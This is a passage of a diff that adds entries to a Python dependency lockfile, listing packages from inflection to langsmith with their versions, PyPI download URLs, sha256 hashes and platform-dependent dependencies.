+wheels = [ + { url = "https://files.pythonhosted.org/packages/1d/55/0f4df2a44053867ea9cbea73fc588b03c55605cd695cee0a3d86f0029cb2/incremental-24.11.0-py3-none-any.whl", hash = "sha256:a34450716b1c4341fe6676a0598e88a39e04189f4dce5dc96f656e040baa10b3", size = 21109, upload-time = "2025-11-28T02:30:16.442Z" }, +] + +[[package]] +name = "inflection" +version = "0.5.1" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/e1/7e/691d061b7329bc8d54edbf0ec22fbfb2afe61facb681f9aaa9bff7a27d04/inflection-0.5.1.tar.gz", hash = "sha256:1a29730d366e996aaacffb2f1f1cb9593dc38e2ddd30c91250c6dde09ea9b417", size = 15091, upload-time = "2020-08-22T08:16:29.139Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/59/91/aa6bde563e0085a02a435aa99b49ef75b0a4b062635e606dab23ce18d720/inflection-0.5.1-py2.py3-none-any.whl", hash = "sha256:f38b2b640938a4f35ade69ac3d053042959b62a0f1076a5bbaa1b9526605a8a2", size = 9454, upload-time = "2020-08-22T08:16:27.816Z" }, +] + +[[package]] +name = "iniconfig" +version = "2.3.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/72/34/14ca021ce8e5dfedc35312d08ba8bf51fdd999c576889fc2c24cb97f4f10/iniconfig-2.3.0.tar.gz", hash = "sha256:c76315c77db068650d49c5b56314774a7804df16fee4402c1f19d6d15d8c4730", size = 20503, upload-time = "2025-10-18T21:55:43.219Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/cb/b1/3846dd7f199d53cb17f49cba7e651e9ce294d8497c8c150530ed11865bb8/iniconfig-2.3.0-py3-none-any.whl", hash = "sha256:f631c04d2c48c52b84d0d0549c99ff3859c98df65b3101406327ecc7d53fbf12", size = 7484, upload-time = "2025-10-18T21:55:41.639Z" }, +] + +[[package]] +name = "ipdb" +version = "0.13.13" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "decorator", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, + { name = "ipython", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/3d/1b/7e07e7b752017f7693a0f4d41c13e5ca29ce8cbcfdcc1fd6c4ad8c0a27a0/ipdb-0.13.13.tar.gz", hash = "sha256:e3ac6018ef05126d442af680aad863006ec19d02290561ac88b8b1c0b0cfc726", size = 17042, upload-time = "2023-03-09T15:40:57.487Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/0c/4c/b075da0092003d9a55cf2ecc1cae9384a1ca4f650d51b00fc59875fe76f6/ipdb-0.13.13-py3-none-any.whl", hash = "sha256:45529994741c4ab6d2388bfa5d7b725c2cf7fe9deffabdb8a6113aa5ed449ed4", size = 12130, upload-time = "2023-03-09T15:40:55.021Z" }, +] + +[[package]] +name = "ipython" +version = "9.8.0" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "decorator", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, + { name = "ipython-pygments-lexers", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, + { name = "jedi", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, + { name = "matplotlib-inline", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, + { name = "pexpect", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, + { name = "prompt-toolkit", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, + { name = "pygments", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, + { name = "stack-data", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, + { name = "traitlets", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, + { name = "typing-extensions", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/12/51/a703c030f4928646d390b4971af4938a1b10c9dfce694f0d99a0bb073cb2/ipython-9.8.0.tar.gz", hash = "sha256:8e4ce129a627eb9dd221c41b1d2cdaed4ef7c9da8c17c63f6f578fe231141f83", size = 4424940, upload-time = "2025-12-03T10:18:24.353Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/f1/df/8ee1c5dd1e3308b5d5b2f2dfea323bb2f3827da8d654abb6642051199049/ipython-9.8.0-py3-none-any.whl", hash = "sha256:ebe6d1d58d7d988fbf23ff8ff6d8e1622cfdb194daf4b7b73b792c4ec3b85385", size = 621374, upload-time = "2025-12-03T10:18:22.335Z" }, +] + +[[package]] +name = "ipython-pygments-lexers" +version = "1.1.1" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "pygments", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/ef/4c/5dd1d8af08107f88c7f741ead7a40854b8ac24ddf9ae850afbcf698aa552/ipython_pygments_lexers-1.1.1.tar.gz", hash = "sha256:09c0138009e56b6854f9535736f4171d855c8c08a563a0dcd8022f78355c7e81", size = 8393, upload-time = "2025-01-17T11:24:34.505Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/d9/33/1f075bf72b0b747cb3288d011319aaf64083cf2efef8354174e3ed4540e2/ipython_pygments_lexers-1.1.1-py3-none-any.whl", hash = "sha256:a9462224a505ade19a605f71f8fa63c2048833ce50abc86768a0d81d876dc81c", size = 8074, upload-time = "2025-01-17T11:24:33.271Z" }, +] + +[[package]] +name = "isodate" +version = "0.7.2" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/54/4d/e940025e2ce31a8ce1202635910747e5a87cc3a6a6bb2d00973375014749/isodate-0.7.2.tar.gz", hash = "sha256:4cd1aa0f43ca76f4a6c6c0292a85f40b35ec2e43e315b59f06e6d32171a953e6", size = 29705, upload-time = "2024-10-08T23:04:11.5Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/15/aa/0aca39a37d3c7eb941ba736ede56d689e7be91cab5d9ca846bde3999eba6/isodate-0.7.2-py3-none-any.whl", hash = "sha256:28009937d8031054830160fce6d409ed342816b543597cece116d966c6d99e15", size = 22320, upload-time = "2024-10-08T23:04:09.501Z" }, +] + +[[package]] +name = "isort" +version = "5.13.2" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/87/f9/c1eb8635a24e87ade2efce21e3ce8cd6b8630bb685ddc9cdaca1349b2eb5/isort-5.13.2.tar.gz", hash = "sha256:48fdfcb9face5d58a4f6dde2e72a1fb8dcaf8ab26f95ab49fab84c2ddefb0109", size = 175303, upload-time = "2023-12-13T20:37:26.124Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/d1/b3/8def84f539e7d2289a02f0524b944b15d7c75dab7628bedf1c4f0992029c/isort-5.13.2-py3-none-any.whl", hash = "sha256:8ca5e72a8d85860d5a3fa69b8745237f2939afe12dbf656afbcb47fe72d947a6", size = 92310, upload-time = "2023-12-13T20:37:23.244Z" }, +] + +[[package]] +name = "itsdangerous" +version = "2.2.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/9c/cb/8ac0172223afbccb63986cc25049b154ecfb5e85932587206f42317be31d/itsdangerous-2.2.0.tar.gz", hash = "sha256:e0050c0b7da1eea53ffaf149c0cfbb5c6e2e2b69c4bef22c81fa6eb73e5f6173", size = 54410, upload-time = "2024-04-16T21:28:15.614Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/04/96/92447566d16df59b2a776c0fb82dbc4d9e07cd95062562af01e408583fc4/itsdangerous-2.2.0-py3-none-any.whl", hash = "sha256:c6242fc49e35958c8b15141343aa660db5fc54d4f13a1db01a3f5891b98700ef", size = 16234, upload-time = "2024-04-16T21:28:14.499Z" }, +] + +[[package]] +name = "jedi" +version = "0.19.2" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "parso", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/72/3a/79a912fbd4d8dd6fbb02bf69afd3bb72cf0c729bb3063c6f4498603db17a/jedi-0.19.2.tar.gz", hash = "sha256:4770dc3de41bde3966b02eb84fbcf557fb33cce26ad23da12c742fb50ecb11f0", size = 1231287, upload-time = "2024-11-11T01:41:42.873Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/c0/5a/9cac0c82afec3d09ccd97c8b6502d48f165f9124db81b4bcb90b4af974ee/jedi-0.19.2-py2.py3-none-any.whl", hash = "sha256:a8ef22bde8490f57fe5c7681a3c83cb58874daf72b4784de3cce5b6ef6edb5b9", size = 1572278, upload-time = "2024-11-11T01:41:40.175Z" }, +] + +[[package]] +name = "jinja2" +version = "3.1.6" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "markupsafe", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/df/bf/f7da0350254c0ed7c72f3e33cef02e048281fec7ecec5f032d4aac52226b/jinja2-3.1.6.tar.gz", hash = "sha256:0137fb05990d35f1275a587e9aee6d56da821fc83491a0fb838183be43f66d6d", size = 245115, upload-time = "2025-03-05T20:05:02.478Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/62/a1/3d680cbfd5f4b8f15abc1d571870c5fc3e594bb582bc3b64ea099db13e56/jinja2-3.1.6-py3-none-any.whl", hash = "sha256:85ece4451f492d0c13c5dd7c13a64681a86afae63a5f347908daf103ce6d2f67", size = 134899, upload-time = "2025-03-05T20:05:00.369Z" }, +] + +[[package]] +name = "jira2markdown" +version = "0.3.7" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "pyparsing", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/05/0d/760be7cd991e428f35d0834b437318ec0b76bc751dd82cdd329371529de3/jira2markdown-0.3.7.tar.gz", hash = "sha256:fb71a2aeabbc0dec35aaeb8777bc9d0b749ed6071822cd43ce780a264f50cb4d", size = 11744, upload-time = "2024-09-30T15:36:43.718Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/b6/10/11d46aa7d443f9b9bcbc7cda00bd604f5d6a1c30ba524a852a58f2cef387/jira2markdown-0.3.7-py3-none-any.whl", hash = "sha256:32815323c7465f0807ec8dca9e2698d0af1836dd3f12daf69d80f9954d1ca2f3", size = 14318, upload-time = "2024-09-30T15:36:42.128Z" }, +] + +[[package]] +name = "jiter" +version = "0.12.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/45/9d/e0660989c1370e25848bb4c52d061c71837239738ad937e83edca174c273/jiter-0.12.0.tar.gz", hash = "sha256:64dfcd7d5c168b38d3f9f8bba7fc639edb3418abcc74f22fdbe6b8938293f30b", size = 168294, upload-time = "2025-11-09T20:49:23.302Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/32/f9/eaca4633486b527ebe7e681c431f529b63fe2709e7c5242fc0f43f77ce63/jiter-0.12.0-cp311-cp311-macosx_10_12_x86_64.whl", hash = "sha256:d8f8a7e317190b2c2d60eb2e8aa835270b008139562d70fe732e1c0020ec53c9", size = 316435, upload-time = "2025-11-09T20:47:02.087Z" }, + { url = "https://files.pythonhosted.org/packages/10/c1/40c9f7c22f5e6ff715f28113ebaba27ab85f9af2660ad6e1dd6425d14c19/jiter-0.12.0-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:2218228a077e784c6c8f1a8e5d6b8cb1dea62ce25811c356364848554b2056cd", size = 320548, upload-time = "2025-11-09T20:47:03.409Z" }, + { url = "https://files.pythonhosted.org/packages/6b/1b/efbb68fe87e7711b00d2cfd1f26bb4bfc25a10539aefeaa7727329ffb9cb/jiter-0.12.0-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:9354ccaa2982bf2188fd5f57f79f800ef622ec67beb8329903abf6b10da7d423", size = 351915, upload-time = "2025-11-09T20:47:05.171Z" }, + { url = "https://files.pythonhosted.org/packages/15/2d/c06e659888c128ad1e838123d0638f0efad90cc30860cb5f74dd3f2fc0b3/jiter-0.12.0-cp311-cp311-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:8f2607185ea89b4af9a604d4c7ec40e45d3ad03ee66998b031134bc510232bb7", size = 368966, upload-time = "2025-11-09T20:47:06.508Z" }, + { url = "https://files.pythonhosted.org/packages/6b/20/058db4ae5fb07cf6a4ab2e9b9294416f606d8e467fb74c2184b2a1eeacba/jiter-0.12.0-cp311-cp311-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:3a585a5e42d25f2e71db5f10b171f5e5ea641d3aa44f7df745aa965606111cc2", size = 482047, upload-time = "2025-11-09T20:47:08.382Z" }, + { url = "https://files.pythonhosted.org/packages/49/bb/dc2b1c122275e1de2eb12905015d61e8316b2f888bdaac34221c301495d6/jiter-0.12.0-cp311-cp311-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:bd9e21d34edff5a663c631f850edcb786719c960ce887a5661e9c828a53a95d9", size = 380835, upload-time = "2025-11-09T20:47:09.81Z" }, + { url = "https://files.pythonhosted.org/packages/23/7d/38f9cd337575349de16da575ee57ddb2d5a64d425c9367f5ef9e4612e32e/jiter-0.12.0-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:4a612534770470686cd5431478dc5a1b660eceb410abade6b1b74e320ca98de6", size = 364587, upload-time = "2025-11-09T20:47:11.529Z" }, + { url = "https://files.pythonhosted.org/packages/f0/a3/b13e8e61e70f0bb06085099c4e2462647f53cc2ca97614f7fedcaa2bb9f3/jiter-0.12.0-cp311-cp311-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:3985aea37d40a908f887b34d05111e0aae822943796ebf8338877fee2ab67725", size = 390492, upload-time = "2025-11-09T20:47:12.993Z" }, + { url = "https://files.pythonhosted.org/packages/07/71/e0d11422ed027e21422f7bc1883c61deba2d9752b720538430c1deadfbca/jiter-0.12.0-cp311-cp311-musllinux_1_1_aarch64.whl", hash = "sha256:b1207af186495f48f72529f8d86671903c8c10127cac6381b11dddc4aaa52df6", size = 522046, upload-time = "2025-11-09T20:47:14.6Z" }, + { url = "https://files.pythonhosted.org/packages/9f/59/b968a9aa7102a8375dbbdfbd2aeebe563c7e5dddf0f47c9ef1588a97e224/jiter-0.12.0-cp311-cp311-musllinux_1_1_x86_64.whl", hash = "sha256:ef2fb241de583934c9915a33120ecc06d94aa3381a134570f59eed784e87001e", size = 513392, upload-time = "2025-11-09T20:47:16.011Z" }, + { url = "https://files.pythonhosted.org/packages/fe/54/5339ef1ecaa881c6948669956567a64d2670941925f245c434f494ffb0e5/jiter-0.12.0-graalpy311-graalpy242_311_native-macosx_10_12_x86_64.whl", hash = "sha256:4739a4657179ebf08f85914ce50332495811004cc1747852e8b2041ed2aab9b8", size = 311144, upload-time = "2025-11-09T20:49:10.503Z" }, + { url = "https://files.pythonhosted.org/packages/27/74/3446c652bffbd5e81ab354e388b1b5fc1d20daac34ee0ed11ff096b1b01a/jiter-0.12.0-graalpy311-graalpy242_311_native-macosx_11_0_arm64.whl", hash = "sha256:41da8def934bf7bec16cb24bd33c0ca62126d2d45d81d17b864bd5ad721393c3", size = 305877, upload-time = "2025-11-09T20:49:12.269Z" }, + { url = "https://files.pythonhosted.org/packages/a1/f4/ed76ef9043450f57aac2d4fbeb27175aa0eb9c38f833be6ef6379b3b9a86/jiter-0.12.0-graalpy311-graalpy242_311_native-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:9c44ee814f499c082e69872d426b624987dbc5943ab06e9bbaa4f81989fdb79e", size = 340419, upload-time = "2025-11-09T20:49:13.803Z" }, + { url = "https://files.pythonhosted.org/packages/21/01/857d4608f5edb0664aa791a3d45702e1a5bcfff9934da74035e7b9803846/jiter-0.12.0-graalpy311-graalpy242_311_native-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:cd2097de91cf03eaa27b3cbdb969addf83f0179c6afc41bbc4513705e013c65d", size = 347212, upload-time = "2025-11-09T20:49:15.643Z" }, +] + +[[package]] +name = "jmespath" +version = "1.0.1" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/00/2a/e867e8531cf3e36b41201936b7fa7ba7b5702dbef42922193f05c8976cd6/jmespath-1.0.1.tar.gz", hash = "sha256:90261b206d6defd58fdd5e85f478bf633a2901798906be2ad389150c5c60edbe", size = 25843, upload-time = "2022-06-17T18:00:12.224Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/31/b4/b9b800c45527aadd64d5b442f9b932b00648617eb5d63d2c7a6587b7cafc/jmespath-1.0.1-py3-none-any.whl", hash = "sha256:02e2e4cc71b5bcab88332eebf907519190dd9e6e82107fa7f83b1003a6252980", size = 20256, upload-time = "2022-06-17T18:00:10.251Z" }, +] + +[[package]] +name = "jsonpatch" +version = "1.33" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "jsonpointer", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/42/78/18813351fe5d63acad16aec57f94ec2b70a09e53ca98145589e185423873/jsonpatch-1.33.tar.gz", hash = "sha256:9fcd4009c41e6d12348b4a0ff2563ba56a2923a7dfee731d004e212e1ee5030c", size = 21699, upload-time = "2023-06-26T12:07:29.144Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/73/07/02e16ed01e04a374e644b575638ec7987ae846d25ad97bcc9945a3ee4b0e/jsonpatch-1.33-py2.py3-none-any.whl", hash = "sha256:0ae28c0cd062bbd8b8ecc26d7d164fbbea9652a1a3693f3b956c1eae5145dade", size = 12898, upload-time = "2023-06-16T21:01:28.466Z" }, +] + +[[package]] +name = "jsonpath-python" +version = "1.1.4" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/b8/bf/626a72f2d093c5eb4f4de55b443714afa7231beeae40d4a1c69b5c5aa4d1/jsonpath_python-1.1.4.tar.gz", hash = "sha256:bb3e13854e4807c078a1503ae2d87c211b8bff4d9b40b6455ed583b3b50a7fdd", size = 84766, upload-time = "2025-11-25T12:08:39.521Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/ee/bc/52e5bf0d9839e082b976c19afcab7561d0d719c7627483bf5dc251d27eed/jsonpath_python-1.1.4-py3-none-any.whl", hash = "sha256:8700cb8610c44da6e5e9bff50232779c44bf7dc5bc62662d49319ee746898442", size = 12687, upload-time = "2025-11-25T12:08:38.453Z" }, +] + +[[package]] +name = "jsonpointer" +version = "3.0.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/6a/0a/eebeb1fa92507ea94016a2a790b93c2ae41a7e18778f85471dc54475ed25/jsonpointer-3.0.0.tar.gz", hash = "sha256:2b2d729f2091522d61c3b31f82e11870f60b68f43fbc705cb76bf4b832af59ef", size = 9114, upload-time = "2024-06-10T19:24:42.462Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/71/92/5e77f98553e9e75130c78900d000368476aed74276eb8ae8796f65f00918/jsonpointer-3.0.0-py2.py3-none-any.whl", hash = "sha256:13e088adc14fca8b6aa8177c044e12701e6ad4b28ff10e65f2267a90109c9942", size = 7595, upload-time = "2024-06-10T19:24:40.698Z" }, +] + +[[package]] +name = "jsonschema" +version = "4.25.1" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "attrs", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, + { name = "jsonschema-specifications", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, + { name = "referencing", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, + { name = "rpds-py", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/74/69/f7185de793a29082a9f3c7728268ffb31cb5095131a9c139a74078e27336/jsonschema-4.25.1.tar.gz", hash = "sha256:e4a9655ce0da0c0b67a085847e00a3a51449e1157f4f75e9fb5aa545e122eb85", size = 357342, upload-time = "2025-08-18T17:03:50.038Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/bf/9c/8c95d856233c1f82500c2450b8c68576b4cf1c871db3afac5c34ff84e6fd/jsonschema-4.25.1-py3-none-any.whl", hash = "sha256:3fba0169e345c7175110351d456342c364814cfcf3b964ba4587f22915230a63", size = 90040, upload-time = "2025-08-18T17:03:48.373Z" }, +] + +[[package]] +name = "jsonschema-path" +version = "0.3.4" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "pathable", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, + { name = "pyyaml", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, + { name = "referencing", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, + { name = "requests", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/6e/45/41ebc679c2a4fced6a722f624c18d658dee42612b83ea24c1caf7c0eb3a8/jsonschema_path-0.3.4.tar.gz", hash = "sha256:8365356039f16cc65fddffafda5f58766e34bebab7d6d105616ab52bc4297001", size = 11159, upload-time = "2025-01-24T14:33:16.547Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/cb/58/3485da8cb93d2f393bce453adeef16896751f14ba3e2024bc21dc9597646/jsonschema_path-0.3.4-py3-none-any.whl", hash = "sha256:f502191fdc2b22050f9a81c9237be9d27145b9001c55842bece5e94e382e52f8", size = 14810, upload-time = "2025-01-24T14:33:14.652Z" }, +] + +[[package]] +name = "jsonschema-specifications" +version = "2025.9.1" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "referencing", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/19/74/a633ee74eb36c44aa6d1095e7cc5569bebf04342ee146178e2d36600708b/jsonschema_specifications-2025.9.1.tar.gz", hash = "sha256:b540987f239e745613c7a9176f3edb72b832a4ac465cf02712288397832b5e8d", size = 32855, upload-time = "2025-09-08T01:34:59.186Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/41/45/1a4ed80516f02155c51f51e8cedb3c1902296743db0bbc66608a0db2814f/jsonschema_specifications-2025.9.1-py3-none-any.whl", hash = "sha256:98802fee3a11ee76ecaca44429fda8a41bff98b00a0f2838151b113f210cc6fe", size = 18437, upload-time = "2025-09-08T01:34:57.871Z" }, +] + +[[package]] +name = "kombu" +version = "5.5.4" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "amqp", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, + { name = "packaging", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, + { name = "tzdata", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, + { name = "vine", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/0f/d3/5ff936d8319ac86b9c409f1501b07c426e6ad41966fedace9ef1b966e23f/kombu-5.5.4.tar.gz", hash = "sha256:886600168275ebeada93b888e831352fe578168342f0d1d5833d88ba0d847363", size = 461992, upload-time = "2025-06-01T10:19:22.281Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/ef/70/a07dcf4f62598c8ad579df241af55ced65bed76e42e45d3c368a6d82dbc1/kombu-5.5.4-py3-none-any.whl", hash = "sha256:a12ed0557c238897d8e518f1d1fdf84bd1516c5e305af2dacd85c2015115feb8", size = 210034, upload-time = "2025-06-01T10:19:20.436Z" }, +] + +[package.optional-dependencies] +redis = [ + { name = "redis", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, +] + +[[package]] +name = "langchain" +version = "0.3.27" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "langchain-core", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, + { name = "langchain-text-splitters", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, + { name = "langsmith", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, + { name = "pydantic", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, + { name = "pyyaml", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, + { name = "requests", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, + { name = "sqlalchemy", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/83/f6/f4f7f3a56626fe07e2bb330feb61254dbdf06c506e6b59a536a337da51cf/langchain-0.3.27.tar.gz", hash = "sha256:aa6f1e6274ff055d0fd36254176770f356ed0a8994297d1df47df341953cec62", size = 10233809, upload-time = "2025-07-24T14:42:32.959Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/f6/d5/4861816a95b2f6993f1360cfb605aacb015506ee2090433a71de9cca8477/langchain-0.3.27-py3-none-any.whl", hash = "sha256:7b20c4f338826acb148d885b20a73a16e410ede9ee4f19bb02011852d5f98798", size = 1018194, upload-time = "2025-07-24T14:42:30.23Z" }, +] + +[[package]] +name = "langchain-core" +version = "0.3.80" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "jsonpatch", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, + { name = "langsmith", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, + { name = "packaging", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, + { name = "pydantic", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, + { name = "pyyaml", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, + { name = "tenacity", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, + { name = "typing-extensions", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/49/49/f76647b7ba1a6f9c11b0343056ab4d3e5fc445981d205237fed882b2ad60/langchain_core-0.3.80.tar.gz", hash = "sha256:29636b82513ab49e834764d023c4d18554d3d719a185d37b019d0a8ae948c6bb", size = 583629, upload-time = "2025-11-19T22:23:18.771Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/da/e8/e7a090ebe37f2b071c64e81b99fb1273b3151ae932f560bb94c22f191cde/langchain_core-0.3.80-py3-none-any.whl", hash = "sha256:2141e3838d100d17dce2359f561ec0df52c526bae0de6d4f469f8026c5747456", size = 450786, upload-time = "2025-11-19T22:23:17.133Z" }, +] + +[[package]] +name = "langchain-openai" +version = "0.3.35" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "langchain-core", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, + { name = "openai", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, + { name = "tiktoken", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/fb/96/06d0d25a37e05a0ff2d918f0a4b0bf0732aed6a43b472b0b68426ce04ef8/langchain_openai-0.3.35.tar.gz", hash = "sha256:fa985fd041c3809da256a040c98e8a43e91c6d165b96dcfeb770d8bd457bf76f", size = 786635, upload-time = "2025-10-06T15:09:28.463Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/d8/d5/c90c5478215c20ee71d8feaf676f7ffd78d0568f8c98bd83f81ce7562ed7/langchain_openai-0.3.35-py3-none-any.whl", hash = "sha256:76d5707e6e81fd461d33964ad618bd326cb661a1975cef7c1cb0703576bdada5", size = 75952, upload-time = "2025-10-06T15:09:27.137Z" }, +] + +[[package]] +name = "langchain-text-splitters" +version = "0.3.11" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "langchain-core", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/11/43/dcda8fd25f0b19cb2835f2f6bb67f26ad58634f04ac2d8eae00526b0fa55/langchain_text_splitters-0.3.11.tar.gz", hash = "sha256:7a50a04ada9a133bbabb80731df7f6ddac51bc9f1b9cab7fa09304d71d38a6cc", size = 46458, upload-time = "2025-08-31T23:02:58.316Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/58/0d/41a51b40d24ff0384ec4f7ab8dd3dcea8353c05c973836b5e289f1465d4f/langchain_text_splitters-0.3.11-py3-none-any.whl", hash = "sha256:cf079131166a487f1372c8ab5d0bfaa6c0a4291733d9c43a34a16ac9bcd6a393", size = 33845, upload-time = "2025-08-31T23:02:57.195Z" }, +] + +[[package]] +name = "langsmith" +version = "0.4.53" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "httpx", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, + { name = "orjson", marker = "(platform_python_implementation != 'PyPy' and sys_platform == 'darwin') or (platform_python_implementation != 'PyPy' and sys_platform == 'linux')" }, + { name = "packaging", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, + { name = "pydantic", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, + { name = "requests", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, + { name = "requests-toolbelt", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, + { name = "uuid-utils", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, + { name = "zstandard", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/49/1c/8c4fbb995d176594d79e7347ca5e3cf1a839d300bee2b6b38861fbf57809/langsmith-0.4.53.tar.gz", hash = "sha256:362255850ac80abf6edc9e9b3455c42aa248e12686a24c637d4c56fc41139ffe", size = 990765, upload-time = "2025-12-03T01:00:43.505Z" } +wheels = [ + { url = 